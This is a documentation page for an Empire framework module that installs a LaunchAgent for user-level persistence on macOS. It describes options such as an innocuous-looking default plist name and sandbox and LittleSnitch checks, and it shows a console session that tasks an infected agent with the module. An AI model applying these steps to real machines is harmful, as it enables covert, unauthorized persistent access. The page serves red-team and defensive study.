LaunchAgent - UserLand Persistence - Empire Module


This page contains detailed information about how to use the python/persistence/osx/LaunchAgentUserLandPersistence Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: LaunchAgent - UserLand Persistence
Module: python/persistence/osx/LaunchAgentUserLandPersistence
Source code [1]: empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml
Source code [2]: empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
MITRE ATT&CK: T1055
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The LaunchAgentUserLandPersistence module installs an Empire launchAgent.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the LaunchAgentUserLandPersistence module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the LaunchAgentUserLandPersistence module:

Agent
Agent to execute module on.

Listener
Listener to use.

PLISTName
Name of the PLIST to install. Name will also be used for the plist file.
Default value: com.proxy.initialize.plist.

SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True.

Additional Module Options

This is a list of additional options that are supported by the LaunchAgentUserLandPersistence module:

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

LaunchAgentUserLandPersistence Example Usage

Here's an example of how to use the LaunchAgentUserLandPersistence module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/persistence/osx/LaunchAgentUserLandPersistence

 Author       @xorrior                                              
              @n0pe_sled                                            
 Background   False                                                 
 Description  Installs an Empire launchAgent.                       
 Language     python                                                
 Name         python/persistence/osx/LaunchAgentUserLandPersistence 
 NeedsAdmin   False                                                 
 OpsecSafe    False                                                 
 Techniques   http://attack.mitre.org/techniques/T1055              


,Record Options---------------------------,----------,-------------------------------------,
| Name       | Value                      | Required | Description                         |
|------------|----------------------------|----------|-------------------------------------|
| Agent      |                            | True     | Agent to execute module on.         |
|------------|----------------------------|----------|-------------------------------------|
| Listener   |                            | True     | Listener to use.                    |
|------------|----------------------------|----------|-------------------------------------|
| PLISTName  | com.proxy.initialize.plist | True     | Name of the PLIST to install. Name  |
|            |                            |          | will also be used for the plist     |
|            |                            |          | file.                               |
|------------|----------------------------|----------|-------------------------------------|
| SafeChecks | True                       | True     | Switch. Checks for LittleSnitch or  |
|            |                            |          | a SandBox, exit the staging process |
|            |                            |          | if true. Defaults to True.          |
|------------|----------------------------|----------|-------------------------------------|
| UserAgent  | default                    | False    | User-agent string to use for the    |
|            |                            |          | staging request (default, none, or  |
|            |                            |          | other).                             |
'------------'----------------------------'----------'-------------------------------------'

(Empire: usemodule/python/persistence/osx/LaunchAgentUserLandPersistence) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/osx/LaunchAgentUserLandPersistence) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/persistence/osx/LaunchAgentUserLandPersistence) > set PLISTName com.proxy.initialize.plist
[*] Set PLISTName to com.proxy.initialize.plist
(Empire: usemodule/python/persistence/osx/LaunchAgentUserLandPersistence) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/persistence/osx/LaunchAgentUserLandPersistence) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
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